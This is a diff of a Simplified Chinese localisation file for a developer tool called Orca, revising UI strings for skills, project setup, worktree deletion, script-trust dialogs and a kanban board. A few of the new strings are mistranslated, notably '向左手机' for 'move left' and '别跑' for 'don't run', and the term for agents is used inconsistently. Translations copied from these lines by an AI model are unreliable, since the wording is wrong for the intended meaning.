-          "supportingFileWarning": "所选技能包括 SKILL.md 之外的 {{fileCount}}。",
-          "agentAccessWarning": "技能包含您的智能体可能遵循的说明。仅当您信任此共享链接的来源时才继续。",
-          "fileBinary": "二进制",
-          "fileRunnable": "可运行",
-          "agentsCountBadge": "已选择 {{count}}",
-          "targetAgentsHeader": "目标智能体",
+          "reviewInstructions": "关于此技能",
+          "supportingFileWarning": "所选技能除 SKILL.md 外还包含 {{fileCount}} 个文件",
+          "agentAccessWarning": "技能包含代理可能遵循的说明，仅当您信任此分享链接的来源时才继续",
+          "fileBinary": "二进制文件",
+          "fileRunnable": "可运行文件",
+          "agentsCountBadge": "已选择 {{count}} 个",
+          "targetAgentsHeader": "目标代理",
           "deselectAll": "取消全选",
-          "selectAll": "选择全部",
-          "canonicalHeader": "标准智能体（始终包含）",
-          "canonicalExplanation": "这些智能体本机读取 {{root}}，Orca 默认安装到该位置：",
-          "additionalAgentsHeader": "其他智能体目录",
+          "selectAll": "全选",
+          "canonicalHeader": "标准代理（始终包含）",
+          "canonicalExplanation": "这些代理原生读取 {{root}}，Orca 默认会安装到此处：",
+          "additionalAgentsHeader": "其他代理目录",
           "namesAndMore": "{{names}}，另有 {{count}} 个",
           "agentCount_other": "{{count}} 个智能体",
-          "runnableWarningOfSelected_other": "所选的 {{count}} 个技能中有 {{affectedCount}} 个包含脚本或二进制文件：{{affected}}。"
+          "runnableWarningOfSelected_other": "所选的 {{count}} 个技能中有 {{affectedCount}} 个包含脚本或二进制文件：{{affected}}"
         },
         "SkillSharedLinkRow": {
-          "contentsUnavailable": "无法加载此链接包含的内容。",
-          "loading": "正在加载内容...",
-          "deleteFailed": "Orca 无法从云端删除此内容。",
+          "contentsUnavailable": "无法加载此链接包含的内容",
+          "loading": "正在加载内容…",
+          "deleteFailed": "Orca 无法从云端删除此内容",
           "deleted": "已从云端删除",
           "confirmDelete": "确认删除",
           "moreActions": "{{name}} 的更多操作",
           "deletePackage": "从云端删除"
         },
         "SkillSharedLinksView": {
-          "loading": "正在加载共享链接...",
-          "noMatches": "没有与此搜索匹配的链接。"
+          "loading": "正在加载分享链接…",
+          "noMatches": "没有符合搜索条件的链接"
         },
         "managedInstall": {
           "versionLabel": "版本",
-          "editedWarning": "您的编辑将被保留，除非您选择放弃它们。",
+          "editedWarning": "除非您选择放弃，否则您的编辑会予以保留",
           "finishInstall": "完成安装",
-          "useVersion": "使用这个版本",
+          "useVersion": "使用此版本",
           "reinstall": "重新安装",
           "cancel": "取消",
-          "confirmRemove": "确认删除",
+          "confirmRemove": "确认移除",
           "remove": "移除",
-          "discardEditsRemove": "放弃我的编辑并删除",
+          "discardEditsRemove": "放弃我的编辑并移除",
           "discardEdits": "放弃我的编辑并重新安装",
           "titleMore": "{{name}} +{{count}}",
-          "scopeWorkspace": "这个工作区",
-          "scopeGlobal": "到处",
-          "installedOn": "已安装 {{date}}",
-          "stateEdited": "安装后编辑",
-          "stateMissing": "文件丢失",
+          "scopeWorkspace": "此工作区",
+          "scopeGlobal": "所有位置",
+          "installedOn": "安装于 {{date}}",
+          "stateEdited": "安装后已编辑",
+          "stateMissing": "文件缺失",
           "skillEdited": "已编辑",
           "skillMissing": "缺失",
           "versionCurrent": "{{date}}（已安装）",
-          "installElsewhere": "安装在其他地方..."
+          "installElsewhere": "安装到其他位置…"
         },
         "skillWarningPreview": {
-          "bundleDescription": "涵盖每个警告级别的预览包。",
-          "instructionsOnlyDescription": "说明完全包含在 SKILL.md 中。",
-          "supportingFilesDescription": "包括主要说明之外的可读参考文件。",
-          "runnableFilesDescription": "包括智能体可以使用您的访问权限运行的脚本。",
-          "binaryFilesDescription": "包括不透明资产和可执行二进制文件。"
+          "bundleDescription": "涵盖所有警告级别的预览技能包",
+          "instructionsOnlyDescription": "所有说明均包含在 SKILL.md 中",
+          "supportingFilesDescription": "除主要说明外，还包含可读的参考文件",
+          "runnableFilesDescription": "包含代理可能使用您的权限运行的脚本",
+          "binaryFilesDescription": "包含内容不透明的资源和一个可执行二进制文件"
         },
         "skillPlanOpCopy": {
           "busy": "另一个安装仍在运行",
@@ -5222,67 +5481,67 @@
           "installAvailable": "可安装"
         },
         "installResult": {
-          "installed": "已安装并验证。",
-          "updated": "已更新并验证。",
-          "unchanged": "已安装完全相同的版本。",
-          "partial": "已安装，但部分智能体的安装位置需要处理。",
-          "removed": "已移除。",
-          "cancelled": "安装已取消。",
-          "incomplete": "安装未完成。"
+          "installed": "已安装并验证",
+          "updated": "已更新并验证",
+          "unchanged": "已安装完全相同的版本",
+          "partial": "已安装，但部分智能体的安装位置需要处理",
+          "removed": "已移除",
+          "cancelled": "安装已取消",
+          "incomplete": "安装未完成"
         },
         "managedRemoval": {
-          "removed": "已移除 {{removed}} 个。",
-          "removedPreserved_other": "已移除 {{removed}} 个 · 已保留 {{count}} 个已修改的技能。"
+          "removed": "已移除 {{removed}} 个",
+          "removedPreserved_other": "已移除 {{removed}} 个 · 已保留 {{count}} 个已修改的技能"
         }
       },
       "sidebar": {
         "AddProjectFromFolderDialog": {
           "7d1f51678c": "添加项目",
           "7726a16374": "取消",
-          "046751dbfb": "将此文件夹添加为单独的 Orca 项目。"
+          "046751dbfb": "将此文件夹添加为单独的 Orca 项目"
         },
         "AddRepoCreateStep": {
           "0ae45b8238": "my-project",
           "a8149a3a5a": "名称",
-          "11fd2a7db8": "Git 仓库",
+          "11fd2a7db8": "Git 存储库",
           "5e97f0c4b9": "项目已创建",
           "2c12db1511": "项目已添加",
-          "875dda0995": "输入服务器父路径。",
+          "875dda0995": "输入服务器父路径",
           "45b7c26034": "创建项目",
           "85085d74d2": "创建中…",
           "c7b9f94456": "创建新项目",
-          "b100311784": "为它命名，Orca 会使用合理的默认设置创建一个真实项目。",
+          "b100311784": "为它命名，Orca 会使用合理的默认设置创建一个真实项目",
           "685b5eefe1": "{{parent}} 中的 {{kind}}",
           "2a762f3b19": "正在检查此主机上的 Git...",
-          "fe1e616c5b": "创建项目需要 Git。",
-          "c234df77f7": "创建前请选择或输入服务器父文件夹。",
+          "fe1e616c5b": "创建项目需要 Git",
+          "c234df77f7": "创建前请选择或输入服务器父文件夹",
           "3a13f6e88b": "未选择位置",
           "6ed14c0281": "未选择服务器文件夹"
         },
         "AddRepoNestedImportStep": {
-          "496f68cf8c": "扫描仓库。单击停止。",
+          "496f68cf8c": "扫描存储库，单击停止",
           "a32bef9516": "停止扫描",
           "2f8298f3c3": "停止扫描",
-          "8db50afe1a": "从文件夹导入仓库",
+          "8db50afe1a": "从文件夹导入存储库",
           "fb33359f69": "将这些仓库分组吗？",
-          "d75170194e": "如果这些项目应放在一起（可以是 Monorepo，也可以只是一组相关仓库），请选择此项。Orca 会将它们分组，并让你从父文件夹开始工作。",
+          "d75170194e": "如果这些项目应放在一起(可以是 Monorepo，也可以只是一组相关仓库)，请选择此项，Orca 会将它们分组，并让你从父文件夹开始工作",
           "39d51212cc": "组名称",
           "aa0247680d": "否，单独导入",
           "a0bc4d1f8e": "是，作为组导入",
           "24eda6c8b2": "正在扫描... {{value0}}",
-          "6149d5203f": "未选择任何仓库。改为打开父文件夹，即可在没有 Git 功能的情况下使用编辑器、终端和搜索。",
+          "6149d5203f": "未选择任何仓库，改为打开父文件夹，即可在没有 Git 功能的情况下使用编辑器、终端和搜索",
           "e52454b7f6": "作为文件夹打开",
-          "foundRepositories_other": "在 {{path}} 中找到 {{count}} 个仓库。"
+          "foundRepositories_other": "在 {{path}} 中找到 {{count}} 个仓库"
         },
         "AddRepoRemoteStep": {
           "6680289908": "/home/user/project",
           "ef410aa881": "远程路径",
           "44637f43bd": "SSH 目标",
-          "serverDescription": "选择 {{server}} 连接的 SSH 主机，并输入该主机上 Git 仓库的路径。",
-          "serverEmpty": "{{server}} 还没有 SSH 主机。",
+          "serverDescription": "选择 {{server}} 连接的 SSH 主机，并输入该主机上 Git 仓库的路径",
+          "serverEmpty": "{{server}} 还没有 SSH 主机",
           "serverAddHost": "添加 SSH 主机",
           "91b93a90a4": "打开远程项目",
-          "007651bdf9": "导航到目录并单击“选择”以选择它。",
+          "007651bdf9": "导航到目录并单击\"选择\"以选择它",
           "dd3ff65486": "浏览远程文件系统",
           "36d427bb66": "添加远程项目",
           "35831a7312": "添加..."
@@ -5294,24 +5553,24 @@
           "ac66a3ed2d": "浏览服务器文件系统",
           "92d25420a0": "/home/user/project",
           "867692f505": "服务器路径",
-          "423b5d3d31": "添加所选运行时服务器上已存在的 Git 仓库或文件夹。",
+          "423b5d3d31": "添加所选运行时服务器上已存在的 Git 存储库或文件夹",
           "3d0c035483": "打开服务器项目",
           "438493f214": "或者手动输入服务器路径",
-          "6b9958492a": "想要一次导入多个仓库？浏览到父文件夹。",
+          "6b9958492a": "想要一次导入多个仓库？浏览到父文件夹",
           "d40d751517": "新的仓库或文件夹",
           "a81ffa0a99": "在服务器上创建",
-          "a2ea37d549": "远程 Git 仓库",
+          "a2ea37d549": "远程 Git 存储库",
           "47759c9491": "从 URL 克隆",
           "516187414c": "现有项目或文件夹",
           "0adf083af7": "浏览服务器",
-          "8efa930eb5": "从选定的运行时服务器添加另一个项目。",
+          "8efa930eb5": "从选定的运行时服务器添加另一个项目",
           "39bd249b3a": "添加项目",
-          "0f8aba944c": "导航到目录并单击“选择”以选择它。"
+          "0f8aba944c": "导航到目录并单击\"选择\"以选择它"
         },
         "AddRepoStartSteps": {
-          "acf895cb42": "添加一个项目以开始使用 Orca。",
+          "acf895cb42": "添加一个项目以开始使用 Orca",
           "d13757911c": "添加项目",
-          "d301db1c9a": "扫描仓库。单击停止。",
+          "d301db1c9a": "扫描存储库，单击停止",
           "69ea7f8dc4": "停止扫描",
           "9906cae183": "停止扫描",
           "87596c1446": "其他添加方式"
@@ -5325,14 +5584,14 @@
           "2ce3f6edf8": "/路径/到/目的地",
           "b698a4a29d": "https://github.com/user/repo.git",
           "3d4acbe693": "git 网址",
-          "5b2ea674b1": "输入 Git URL 并选择克隆位置。",
+          "5b2ea674b1": "输入 Git URL 并选择克隆位置",
           "c05f88a31f": "从 URL 克隆",
-          "fe8e629fe3": "导航到目录并单击“选择”以选择它。",
+          "fe8e629fe3": "导航到目录并单击\"选择\"以选择它",
           "df8b0e6c22": "添加了远程项目",
           "3e64e8a70d": "连接失败",
           "32a7256d85": "克隆",
           "69f5b5380d": "克隆...",
-          "cloneOnHostDescription": "输入 Git URL，并选择要在 {{value0}} 上克隆到的位置。",
+          "cloneOnHostDescription": "输入 Git URL，并选择要在 {{value0}} 上克隆到的位置",
           "cloneParentFolder": "父文件夹",
           "remoteCloneParentPlaceholder": "/home/user/projects",
           "cloneFolderName": "文件夹名称",
@@ -5345,7 +5604,7 @@
           "a23b22d16f": "已复制",
           "74fc00776f": "错误详情",
           "ca3b225195": "分支自动命名失败",
-          "couldNotGenerateBranchName": "Orca 无法根据智能体的第一条消息为 <name>{{name}}</name> 生成分支名称。"
+          "couldNotGenerateBranchName": "Orca 无法根据智能体的第一条消息为 <name>{{name}}</name> 生成分支名称"
         },
         "CreateProjectLocationField": {
           "95548e33bf": "选择父文件夹...",
@@ -5354,49 +5613,50 @@
           "f520f83a97": "浏览服务器文件系统",
           "2a20a603a3": "/home/user/projects",
           "134e37f711": "位置",
-          "b589b77997": "导航到目录并单击“选择”以选择它。"
+          "b589b77997": "导航到目录并单击\"选择\"以选择它"
         },
         "DeleteWorktreeDialog": {
           "4f6750ca7b": "删除工作区失败",
           "42e610d6cf": "强制删除失败",
           "5cc1a6701c": "打开设置",
-          "2b56b35f53": "您可以在“设置”中更改此设置。",
-          "dd3a45bbbd": "下次我们将跳过此确认。",
+          "2b56b35f53": "您可以在\"设置\"中更改此设置",
+          "dd3a45bbbd": "下次我们将跳过此确认",
           "fc23c4cbdf": "删除工作区",
           "86f0ae1257": "删除工作区",
-          "removeFolderProjectInstead": "请移除文件夹项目，而不是删除此工作区。",
-          "gitBlocksMainWorktree": "Git 不允许移除主工作树。",
-          "removeBatchFolder_other": "从 Orca 移除<target>{{count}} 个工作区</target>。磁盘上的项目文件夹不会被删除。",
-          "removeBatchMixed_other": "从 Orca 移除<target>{{count}} 个工作区</target>。Git 工作树也会从 git 和磁盘中移除；文件夹工作区只会移除 Orca 中的工作区条目。",
-          "removeBatchGit_other": "从 git 移除<target>{{count}} 个工作区</target>，并删除其工作区文件夹。",
-          "removeWithChildrenFolder_other": "从 Orca 移除 <target/> 和<descendants>{{count}} 个子工作区</descendants>。磁盘上的项目文件夹不会被删除。",
-          "removeWithChildrenMixed_other": "从 Orca 移除 <target/> 和<descendants>{{count}} 个子工作区</descendants>。Git 工作树也会从 git 和磁盘中移除；文件夹工作区只会移除 Orca 中的工作区条目。",
-          "removeWithChildrenGit_other": "从 git 移除 <target/> 和<descendants>{{count}} 个子工作区</descendants>，并删除其工作区文件夹。",
+          "removeFolderProjectInstead": "请移除文件夹项目，而不是删除此工作区",
+          "gitBlocksMainWorktree": "Git 不允许移除主工作树",
+          "removeBatchFolder_other": "从 Orca 移除<target>{{count}} 个工作区</target>。磁盘上的项目文件夹不会被删除",
+          "removeBatchMixed_other": "从 Orca 移除<target>{{count}} 个工作区</target>。Git 工作树也会从 git 和磁盘中移除；文件夹工作区只会移除 Orca 中的工作区条目",
+          "removeBatchGit_other": "从 git 移除<target>{{count}} 个工作区</target>，并删除其工作区文件夹",
+          "removeWithChildrenFolder_other": "从 Orca 移除 <target/> 和<descendants>{{count}} 个子工作区</descendants>。磁盘上的项目文件夹不会被删除",
+          "removeWithChildrenMixed_other": "从 Orca 移除 <target/> 和<descendants>{{count}} 个子工作区</descendants>。Git 工作树也会从 git 和磁盘中移除；文件夹工作区只会移除 Orca 中的工作区条目",
+          "removeWithChildrenGit_other": "从 git 移除 <target/> 和<descendants>{{count}} 个子工作区</descendants>，并删除其工作区文件夹",
           "removeSingleFolderFromOrca": "将其从 Orca 中移除。磁盘上的文件夹会保留。",
           "deleteSingleWorktreeAndBranch": "删除工作树及其分支（未合并的分支会保留）。"
         },
         "DeleteWorktreeDirtyChangeHint": {
           "showLoadedPaths": "显示已加载的路径",
-          "loadedPathsNotice": "已加载的路径可能不完整或已过时。",
+          "loadedPathsNotice": "已加载的路径可能不完整或已过时",
           "loadedChangedPaths": "已加载的更改路径",
           "unresolvedConflict": "未解决的冲突",
           "moreLoadedPaths_other": "以及另外 {{count}} 个已加载的路径",
           "changesLost_one": "{{count}} 项未提交的更改将丢失",
           "changesLost_other": "{{count}} 项未提交的更改将丢失",
-          "uncountedChangesLost": "未提交的更改将丢失"
+          "uncountedChangesLost": "未提交的更改将丢失",
+          "moreLoadedPaths": "以及另外 {{value0}} 个已加载的路径"
         },
         "DeleteWorktreeLineageNotice": {
           "a940f3c96e": "子工作区将被删除",
-          "alsoDeletesChildren_other": "删除此工作区也会删除 {{count}} 个子工作区。",
+          "alsoDeletesChildren_other": "删除此工作区也会删除 {{count}} 个子工作区",
           "moreChildren_other": "另有 {{count}} 个"
         },
         "DeleteWorktreeWarningPanels": {
-          "mainWorktreeNotice": "这是<strong>主工作树</strong>（最初的克隆目录）。"
+          "mainWorktreeNotice": "这是<strong>主工作树</strong>（最初的克隆目录）"
         },
         "ImportedWorktreesVisibilityLine": {
           "b7a87dc32f": "在工作树列表中显示",
           "ad99f4eea9": "保持隐藏",
-          "9f4f14e821": "稍后从项目菜单中更改此设置。",
+          "9f4f14e821": "稍后从项目菜单中更改此设置",
           "b47ba1a9d2": "{{value0}} 预览",
           "2251d41ebb": "隐藏的工作树组",
           "5a9688802a": "显示 {{value0}} 更多",
@@ -5414,16 +5674,16 @@
         "NonGitFolderDialog": {
           "e52454b7f6": "作为文件夹打开",
           "05b33a17a9": "取消",
-          "8fba4b8cbb": "此文件夹不是 Git 仓库。您将拥有编辑器、终端和搜索，但基于 Git 的功能将不可用。",
+          "8fba4b8cbb": "此文件夹不是 Git 存储库，您将拥有编辑器、终端和搜索，但基于 Git 的功能将不可用",
           "c49fb13492": "添加远程文件夹失败",
-          "9a766f33ac": "已在 SSH 主机上检查此路径。",
-          "79fd02cf5f": "已在 {{hostName}} 上检查此路径。",
-          "8851b77327": "已在本机检查此路径。",
+          "9a766f33ac": "已在 SSH 主机上检查此路径",
+          "79fd02cf5f": "已在 {{hostName}} 上检查此路径",
+          "8851b77327": "已在本机检查此路径",
           "sshConnectionUnavailable": "未找到 SSH 连接“{{connection}}”或该连接未连接"
         },
         "OrcaYamlTrustDialog": {
           "f3e2b868fb": "运行钩子",
-          "43b7bec4cd": "不运行",
+          "43b7bec4cd": "别跑",
           "setupChangedTitle": "{{repo}} 的设置脚本已更改 — 运行新版本？",
           "archiveChangedTitle": "{{repo}} 的存档脚本已更改 — 运行新版本？",
           "issueCommandChangedTitle": "{{repo}} 的议题命令已更改 — 运行新版本？",
@@ -5432,14 +5692,14 @@
           "archiveRunTitle": "运行 {{repo}} 的存档脚本？",
           "issueCommandRunTitle": "运行 {{repo}} 的议题命令？",
           "vmRecipeRunTitle": "运行 {{repo}} 的 VM 配方？",
-          "setupChangedBody": "<code>orca.yaml</code> 自您上次批准后已更改。它会在创建此工作区时运行，请在运行前重新审查。",
-          "archiveChangedBody": "<code>orca.yaml</code> 自您上次批准后已更改。它会在移除此工作区时运行，请在运行前重新审查。",
-          "issueCommandChangedBody": "<code>orca.yaml</code> 自您上次批准后已更改。它会在启动带有关联议题的此工作区时运行，请在运行前重新审查。",
-          "vmRecipeChangedBody": "<code>orca.yaml</code> 自您上次批准后已更改。它会在预配 VM 前运行，请在运行前重新审查。",
-          "setupRunBody": "此仓库的 <code>orca.yaml</code> 会在创建此工作区时在您的计算机上运行。仅在信任 <repo/> 时运行。",
-          "archiveRunBody": "此仓库的 <code>orca.yaml</code> 会在移除此工作区时在您的计算机上运行。仅在信任 <repo/> 时运行。",
-          "issueCommandRunBody": "此仓库的 <code>orca.yaml</code> 会在启动带有关联议题的此工作区时在您的计算机上运行。仅在信任 <repo/> 时运行。",
-          "vmRecipeRunBody": "此仓库的 <code>orca.yaml</code> 会在预配 VM 前在您的计算机上运行。仅在信任 <repo/> 时运行。",
+          "setupChangedBody": "<code>orca.yaml</code> 自您上次批准后已更改。它会在创建此工作区时运行，请在运行前重新审查",
+          "archiveChangedBody": "<code>orca.yaml</code> 自您上次批准后已更改。它会在移除此工作区时运行，请在运行前重新审查",
+          "issueCommandChangedBody": "<code>orca.yaml</code> 自您上次批准后已更改。它会在启动带有关联议题的此工作区时运行，请在运行前重新审查",
+          "vmRecipeChangedBody": "<code>orca.yaml</code> 自您上次批准后已更改。它会在预配 VM 前运行，请在运行前重新审查",
+          "setupRunBody": "此仓库的 <code>orca.yaml</code> 会在创建此工作区时在您的计算机上运行。仅在信任 <repo/> 时运行",
+          "archiveRunBody": "此仓库的 <code>orca.yaml</code> 会在移除此工作区时在您的计算机上运行。仅在信任 <repo/> 时运行",
+          "issueCommandRunBody": "此仓库的 <code>orca.yaml</code> 会在启动带有关联议题的此工作区时在您的计算机上运行。仅在信任 <repo/> 时运行",
+          "vmRecipeRunBody": "此仓库的 <code>orca.yaml</code> 会在预配 VM 前在您的计算机上运行。仅在信任 <repo/> 时运行",
           "newSetupScript": "新的设置脚本",
           "setupScript": "设置脚本",
           "newArchiveScript": "新的存档脚本",
@@ -5462,10 +5722,10 @@
           "591f330288": "删除项目组",
           "2c14ce677a": "正在删除...",
           "0e0e6764af": "包含的项目",
-          "55f75628c0": "不会删除磁盘上的项目文件夹。",
+          "55f75628c0": "不会删除磁盘上的项目文件夹",
           "fec7e9c8ae": "删除组",
           "removeContainedProjects_other": "移除包含的 {{count}} 个项目",
-          "deleteGroupDescription": "删除 <name>{{name}}</name>。",
+          "deleteGroupDescription": "删除 <name>{{name}}</name>",
           "moreProjects_other": "另有 {{count}} 个"
         },
         "ProjectGroupNameDialog": {
@@ -5482,7 +5742,7 @@
           "f8b1deb1a4": "取消",
           "51001182e3": "空目录",
           "971d85cc84": "作为远程项目打开 · {{value0}}",
-          "00c4235c10": "没有匹配“{{value0}}”",
+          "00c4235c10": "没有匹配\"{{value0}}\"",
           "largeInputNoMatches": "没有匹配此长输入的结果",
           "entriesLabel": "文件夹条目",
           "inputLabel": "筛选或路径",
@@ -5500,10 +5760,10 @@
           "4dc5b5065b": "移除",
           "d36883e046": "取消",
           "b79b39d865": "删除项目",
-          "removeDescriptionSsh": "此操作仅将 {{name}} 从 Orca 中移除。文件仍保留在 {{host}} 上 — 重新添加该 SSH 主机即可恢复。",
-          "removeDescriptionLocal": "此操作仅将 {{name}} 从 Orca 中移除。文件仍保留在您的磁盘上。",
-          "removeDescriptionVmRecipe": "这会从 Orca 中删除 {{name}}。其VM配方决定是否永久删除环境及其文件。",
-          "openTerminalWarning_other": "此项目中打开的 {{count}} 个终端将被关闭。"
+          "removeDescriptionSsh": "此操作仅将 {{name}} 从 Orca 中移除，文件仍保留在 {{host}} 上 — 重新添加该 SSH 主机即可恢复",
+          "removeDescriptionLocal": "此操作仅将 {{name}} 从 Orca 中移除，文件仍保留在您的磁盘上",
+          "removeDescriptionVmRecipe": "这将从 Orca 中移除 {{name}}，其 VM 配方决定是否永久删除环境及其文件",
+          "openTerminalWarning_other": "此项目中打开的 {{count}} 个终端将被关闭"
         },
         "ScrollToCurrentWorkspaceToolbarButton": {
           "23989bb663": "显示活动工作区"
@@ -5516,23 +5776,23 @@
           "ff1e819a11": "添加设置脚本",
           "70715947fb": "安装脚本不能为空",
           "888b83bf78": "无法保存设置脚本",
-          "a49196d538": "当 Orca 创建新工作树时运行。",
-          "savedSetupCommand": "已保存设置命令。",
+          "a49196d538": "当 Orca 创建新工作树时运行",
+          "savedSetupCommand": "已保存设置命令",
           "savedInProjectSettings": "已保存在此<settings>项目的设置</settings>中"
         },
         "SetupScriptPromptCardViews": {
           "3933401d28": "配置",
           "31b8b01a45": "设置",
           "4a98f907ae": "重试",
-          "0a98169776": "添加在 Orca 创建新工作树时运行的设置命令。",
-          "aef6c0a213": "保存已检测的命令，以便在 Orca 创建工作树时运行它。",
-          "0155fb9ed3": "目前无法验证此仓库的设置脚本。",
+          "0a98169776": "添加 Orca 创建新工作树时运行的设置命令",
+          "aef6c0a213": "保存已检测的命令，以便在 Orca 创建工作树时运行它",
+          "0155fb9ed3": "目前无法验证此仓库的设置脚本",
           "eefa756190": "手动配置",
           "ca4efcbc25": "保存",
           "fdbc6cb064": "已检测的安装脚本",
           "822ff300ad": "关闭",
           "5bfd5c8779": "关闭安装脚本",
-          "ignoresSharedSetup": "此仓库会忽略共享的 <yaml>orca.yaml</yaml> 设置脚本。请添加本地命令，或在“设置”中更改来源。",
+          "ignoresSharedSetup": "此仓库会忽略共享的 <yaml>orca.yaml</yaml> 设置脚本。请添加本地命令，或在“设置”中更改来源",
           "reviewSetupScript": "查看设置脚本",
           "7275f674cc": "已检测的设置",
           "detectedFromSource": "从 <file>{{source}}</file> 已检测"
@@ -5546,7 +5806,7 @@
         },
         "SidebarFeedbackDialog": {
           "8bf619e4cf": "取消",
-          "8de03e23c5": "仅提交您输入的反馈，或连接“gh”以包含 GitHub 身份。",
+          "8de03e23c5": "仅提交您输入的反馈，或连接\"gh\"以包含 GitHub 身份",
           "d20439c560": "检查 GitHub 身份...",
           "5b120b9634": "匿名提交",
           "c9e5ea0791": "GitHub：",
@@ -5555,18 +5815,18 @@
           "26108d3699": "加入 Discord",
           "d245c4ef6c": "GitHub 议题",
           "9b33530b3d": "其他联系我们的方式",
-          "a828fa4aee": "分享什么是有效的、什么是有问题的，或者 Orca 接下来应该做什么。",
+          "a828fa4aee": "分享什么是有效的、什么是有问题的，或者 Orca 接下来应该做什么",
           "0eb643f07f": "发送反馈",
-          "60b721e857": "提交反馈失败。请再试一次。",
-          "7a46c228b8": "感谢您的反馈。",
-          "a2fd890d9e": "请在提交前输入反馈。",
+          "60b721e857": "提交反馈失败，请再试一次",
+          "7a46c228b8": "感谢您的反馈",
+          "a2fd890d9e": "请在提交前输入反馈",
           "f2e42e1307": "发送",
           "69969ba364": "正在发送...",
-          "imageReadFailed": "无法读取附加的图片。请重新附加。",
-          "attachWhileSending": "请等待当前反馈发送完成，再附加更多图片。",
-          "imagesNotDelivered": "反馈已发送，但无法确认图片已送达。",
-          "imagesNotIncluded": "反馈已发送。您的截图无法上传，未包含在内。",
-          "imagesRejected": "反馈已发送。您的截图过大，无法上传，未包含在内。"
+          "imageReadFailed": "无法读取附加的图片，请重新附加",
+          "attachWhileSending": "请等待当前反馈发送完成，再附加更多图片",
+          "imagesNotDelivered": "反馈已发送，但无法确认图片已送达",
+          "imagesNotIncluded": "反馈已发送，您的截图无法上传，未包含在内",
+          "imagesRejected": "反馈已发送，您的截图过大，无法上传，未包含在内"
         },
         "SidebarFilter": {
           "e3b3898218": "添加项目",
@@ -5579,11 +5839,11 @@
           "e5cb32a898": "隐藏默认分支",
           "638a2d221d": "隐藏休眠项",
           "f506a1262a": "搜索工作区",
-          "75405270ed": "编辑筛选条件（{{value0}} 个已启用）",
+          "75405270ed": "编辑筛选条件({{value0}} 个已启用)",
           "489d1c8c9f": "搜索项目...",
           "ee240a39eb": "编辑筛选条件",
           "automationCreated": "隐藏自动化创建的工作区",
-          "cliCreated": "Hide CLI-created",
+          "cliCreated": "隐藏 CLI 创建的",
           "detachedHead": "隐藏分离 HEAD",
           "keepDefaultBranch": "默认分支除外",
           "keepDefaultBranchAria": "隐藏休眠工作区时仍显示默认分支"
@@ -5594,7 +5854,7 @@
         },
         "SidebarNav": {
           "80611a8b10": "搜索",
-          "0c3395fd32": "搜索工作树和浏览器选项卡",
+          "0c3395fd32": "搜索工作树和浏览器标签页",
           "c86d83b5c3": "新功能",
           "1b5c41caee": "Orca 手机端",
           "f323383e9a": "自动化",
@@ -5604,7 +5864,7 @@
           "0ccba862b8": "打开 GitHub 任务",
           "fee535205b": "任务",
           "d599269755": "从侧边栏隐藏",
-          "artifacts": "工件",
+          "artifacts": "产物",
           "skills": "技能"
         },
         "SidebarRepositoryFilterSection": {
@@ -5630,31 +5890,31 @@
           "4cf5b868d7": "发送反馈",
           "a428c25998": "设置",
           "2991a0106c": "帮助",
-          "4e8f5710d3": "无法重新启动 Orca。",
+          "4e8f5710d3": "无法重新启动 Orca",
           "5161eef55d": "正在重启 Orca…",
           "f8a2c91d4e": "里程碑",
           "b7e4d2a19c": "入门引导",
           "c4f8e1b72a": "X"
         },
         "SidebarToolbar": {
-          "87d0064026": "工作区看板已移到底部栏",
-          "a30e34eb5c": "关闭工作区看板",
-          "49f62c5665": "工作区看板"
+          "87d0064026": "工作区板已移到底部栏",
+          "a30e34eb5c": "关闭工作区板",
+          "49f62c5665": "工作区板"
         },
         "SidebarWorkspaceFilterSection": {
           "c3fa13dc2e": "隐藏默认分支",
           "ed1611b65b": "隐藏休眠项",
           "82594419ba": "筛选条件",
           "automationCreated": "隐藏自动化创建的工作区",
-          "cliCreated": "Hide CLI-created",
+          "cliCreated": "隐藏 CLI 创建的",
           "detachedHead": "隐藏分离 HEAD",
           "keepDefaultBranch": "默认分支除外",
           "keepDefaultBranchAria": "隐藏休眠工作区时仍显示默认分支",
           "otherClients": "隐藏其他客户端工作区",
-          "otherClientsAria": "隐藏共享远程服务器上其他 Orca 客户端创建的工作区"
+          "otherClientsAria": "隐藏从共享远程服务器上的其他 Orca 客户端创建的工作区"
         },
         "SidebarWorkspaceOptionsMenu": {
-          "95c9754653": "智能体活动布局",
+          "95c9754653": "代理活动布局",
           "3d4b9c4997": "悬停",
           "ba87080fb7": "显示属性",
           "320b675c9a": "卡片布局",
@@ -5669,17 +5929,17 @@
           "b451c8b162": "最近的",
           "6664282a7b": "拖动项目进行排列",
           "7b316bdd51": "手动的",
-          "7153d07485": "拖动工作区以将它们排列在每个组中。",
+          "7153d07485": "拖动工作区以将它们排列在每个组中",
           "2170d553cf": "项目",
-          "b759bb87ee": "需要关注的智能体，然后是最近的活动。",
-          "503462f2b4": "智能体活动",
+          "b759bb87ee": "需要关注的代理，然后是最近的活动",
+          "503462f2b4": "代理活动",
           "3728165cdd": "名称",
           "2a81e07366": "完整列表",
           "25105b28cb": "紧凑",
-          "d7084e8bc8": "智能体活动",
+          "d7084e8bc8": "代理活动",
           "b64d8bcca0": "端口",
           "26c71e536c": "笔记",
-          "b8dcc6f321": "PR/MR链接",
+          "b8dcc6f321": "PR/MR 链接",
           "ca4d3c522e": "Linear 议题",
           "jiraIssue": "Jira 议题",
           "91dfc653e8": "GitHub 票证",
@@ -5700,7 +5960,7 @@
           "projectRuntimeHost": "项目服务器",
           "8d62c68b35": "笔记",
           "2d74665a56": "端口",
-          "65a9820bd1": "智能体状态",
+          "65a9820bd1": "代理状态",
           "219ebf1961": "分支名称",
           "automation": "自动化",
           "folderPathIdentity": "分支 / 文件夹路径",
@@ -5718,29 +5978,29 @@
         },
         "WorkspaceKanbanDrawerHeader": {
           "f369f5c5a3": "关闭",
-          "e1a34450fc": "按状态组织工作区并打开工作区卡。",
-          "c6a77ab0f4": "工作区看板",
+          "e1a34450fc": "按状态组织工作区并打开工作区卡",
+          "c6a77ab0f4": "工作区板",
           "selectedCount_other": "已选择 {{count}} 项"
         },
         "WorkspaceKanbanPinDropTarget": {
-          "c30151c5ee": "拖放到此处即可固定，无需更改状态。",
+          "c30151c5ee": "拖放到此处即可固定，无需更改状态",
           "8fae2d0862": "已固定"
         },
         "WorkspaceKanbanSettingsMenu": {
           "79eb990aa4": "添加状态",
           "054cb50df7": "删除 {{value0}}",
-          "b45b350eb0": "将 {{value0}} 向左移动",
+          "b45b350eb0": "向左手机 {{value0}}",
           "moveStatusRight": "将 {{value0}} 向右移动",
           "8ce44af9a8": "重命名 {{value0}}",
           "395e541d5d": "状态",
           "34f03eb0de": "看板设置",
